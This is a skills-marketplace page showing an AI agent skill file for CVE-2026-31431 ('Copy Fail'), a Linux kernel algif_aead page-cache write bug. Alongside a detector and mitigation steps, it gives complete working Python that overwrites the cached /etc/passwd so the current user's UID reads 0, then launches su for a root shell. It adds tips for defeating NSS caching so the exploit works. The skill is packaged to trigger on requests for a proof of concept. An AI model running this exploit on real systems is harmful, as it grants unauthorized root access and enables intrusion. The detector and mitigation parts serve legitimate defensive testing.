Skip to main content

cve-2026-31431-copy-fail

Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.

Aller à l'installation

Informations de source

Dépôt
reason-machines/trending-skills
Dernière activité de la source
30 avril 2026 à 21:27
Langue détectée de SKILL.md
anglais
Étoiles
82
Forks
15

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
cve-2026-31431-copy-fail
description
Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
triggers
["detect CVE-2026-31431","check if system is vulnerable to Copy Fail","run the algif_aead exploit detector","test for page cache corruption vulnerability","CVE-2026-31431 proof of concept","check Linux kernel AEAD splice vulnerability","mitigate algif_aead page cache bug","Copy Fail Linux privilege escalation"]
# CVE-2026-31431 ("Copy Fail") Toolkit > Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection. A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation. **Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions. ## Affected Systems - Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert - Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16 ## Installation No installation required. Pure Python 3.10+ stdlib — clone and run directly. ```sh git clone https://github.com/rootsecdev/cve_2026_31431.git cd cve_2026_31431 python3 --version # requires 3.10+ ``` ## Files | File | Purpose | |------|---------| | `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file | | `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` | ## Key Commands ### Detector ```sh python3 test_cve_2026_31431.py ``` Exit codes: - `0` — Not vulnerable (precondition not met or page cache intact) - `1` — Test error - `2` — **Vulnerable** (marker landed in spliced page) ### Exploit ```sh # Patch /etc/passwd page cache only (dry-run, auto-reverts on exit) python3 exploit_cve_2026_31431.py # Patch and spawn root shell via su python3 exploit_cve_2026_31431.py --shell ``` ## How the Vulnerability Works ``` sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8], flags=MSG_MORE) splice(target_fd, pipe_w, 32, offset_src=file_offset) splice(pipe_r, op_fd, 32) recv(op_fd) # returns EBADMSG; scratch write has already landed ``` The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**. ## Core Detection Logic (from `test_cve_2026_31431.py`) ```python import os, socket, struct, tempfile, ctypes MARKER = b'PWND' ALG_SET_KEY = 1 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_AEAD_ASSOCLEN = 4 def check_preconditions(): """Verify AF_ALG and authencesn algorithm are reachable.""" try: sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) sock.bind({ 'type': 'aead', 'name': 'authencesn(hmac(sha256),cbc(aes))', 'feat': 0, 'mask': 0, }) sock.close() return True except (OSError, AttributeError): return False def write4(target_path, file_offset, payload_4bytes): """ Write exactly 4 bytes into the page cache of target_path at file_offset using the algif_aead splice path. The auth check will fail (EBADMSG) but the scratch write fires regardless. """ assert len(payload_4bytes) == 4 # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC) aes_key = bytes(32) hmac_key = bytes(32) key = hmac_key + aes_key # authencesn key layout # Create AF_ALG socket bound to the vulnerable algorithm alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) alg_sock.bind({ 'type': 'aead', 'name': 'authencesn(hmac(sha256),cbc(aes))', 'feat': 0, 'mask': 0, 'authsize': 32, }) alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key) op_fd, _ = alg_sock.accept() # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN) aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload # Send AAD inline via sendmsg with control messages iv = bytes(16) # CBC IV cmsg = [ (socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0 (socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv), (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)), ] op_fd.sendmsg([aad], cmsg, socket.MSG_MORE) # splice the target file's page-cache page into the op socket pipe_r, pipe_w = os.pipe() target_fd = os.open(target_path, os.O_RDONLY) os.splice(target_fd, pipe_w, 32, offset_src=file_offset) os.splice(pipe_r, op_fd, 32) # Drive the decryption — EBADMSG expected; scratch write already fired try: op_fd.recv(64) except OSError: pass # EBADMSG is expected os.close(pipe_r) os.close(pipe_w) os.close(target_fd) op_fd.close() alg_sock.close() def detect(): if not check_preconditions(): print("Precondition not met — AF_ALG or authencesn unavailable") return 0 with tempfile.NamedTemporaryFile(delete=False) as f: sentinel_path = f.name f.write(b'\x00' * 4096) try: # Populate page cache with open(sentinel_path, 'rb') as f: f.read() write4(sentinel_path, 0, MARKER) # Read back from page cache with open(sentinel_path, 'rb') as f: data = f.read(16) if MARKER in data: print("VULNERABLE to CVE-2026-31431") return 2 elif data != b'\x00' * 16: print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable") return 2 else: print("Page cache intact — not vulnerable") return 0 finally: os.unlink(sentinel_path) if __name__ == '__main__': raise SystemExit(detect()) ``` ## LPE Pattern (from `exploit_cve_2026_31431.py`) ```python import os, pwd, subprocess def find_uid_offset(username): """Find the byte offset of the UID field in /etc/passwd for username.""" with open('/etc/passwd', 'rb') as f: content = f.read() for line in content.split(b'\n'): if line.startswith(username.encode() + b':'): fields = line.split(b':') # fields[2] is the UID offset = content.index(line) + sum(len(f) + 1 for f in fields[:2]) uid_field = fields[2] return offset, uid_field raise ValueError(f"User {username!r} not found in /etc/passwd") def exploit(username, spawn_shell=False): uid_offset, uid_field = find_uid_offset(username) if len(uid_field) != 4: raise ValueError( f"UID {uid_field.decode()!r} is not 4 digits — " "1-3 digit UIDs require multi-shot writes" ) print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...") write4('/etc/passwd', uid_offset, b'0000') # Verify libc now reports UID 0 entry = pwd.getpwnam(username) if entry.pw_uid != 0: print("[!] getpwnam still returns original UID — NSS cache may be active") print(" Try: sudo systemctl stop nscd sssd systemd-userdbd") return print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0") if spawn_shell: print(f"[*] Spawning root shell via: su {username}") print("[*] Enter your own password at the prompt") os.execvp('su', ['su', username]) else: print("[*] Dry-run complete. Page cache will be evicted on exit.") # Auto-evict corrupted page on exit fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) if __name__ == '__main__': import sys username = os.environ.get('USER') or os.getlogin() spawn_shell = '--shell' in sys.argv exploit(username, spawn_shell) ``` ## Requirements for LPE - Running user has a **4-digit UID** (1000–9999) - No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`) - `/etc/passwd` page remains in cache between patch and `su` exec ## Reverting Page Cache Corruption The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution: ```sh # From unprivileged user — evict corrupted page: python3 -c " import os fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) " # From root shell — drop all page caches: echo 3 > /proc/sys/vm/drop_caches # Or simply reboot ``` ## Mitigation ```sh # Disable algif_aead module permanently sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false' # Unload if currently loaded sudo rmmod algif_aead 2>/dev/null # Verify — detector should now report "Precondition not met" python3 test_cve_2026_31431.py ``` ## Troubleshooting | Symptom | Cause | Fix | |---------|-------|-----| | `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set | | `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation | | `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` | | Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately | | Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot | ## References - Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions> - CVE: CVE-2026-31431 - Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists
Voir sur GitHub